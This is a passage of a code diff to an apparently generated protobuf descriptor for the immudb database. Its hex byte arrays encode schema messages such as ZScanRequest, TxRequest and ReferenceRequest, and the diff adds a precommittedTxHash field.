0x0a, 0x04, - 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, - 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, - 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, - 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, - 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, - 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, - 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, - 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, - 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, - 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, - 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, - 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, - 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, + 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, + 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, + 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, + 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, + 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, + 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, + 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, + 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, + 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, + 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, + 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, + 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, + 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, + 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, + 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, + 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, + 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, + 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, + 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, + 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, + 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, + 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, + 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, + 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, + 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, + 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, + 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, + 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, - 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, - 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, - 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, - 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, + 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, + 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, + 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 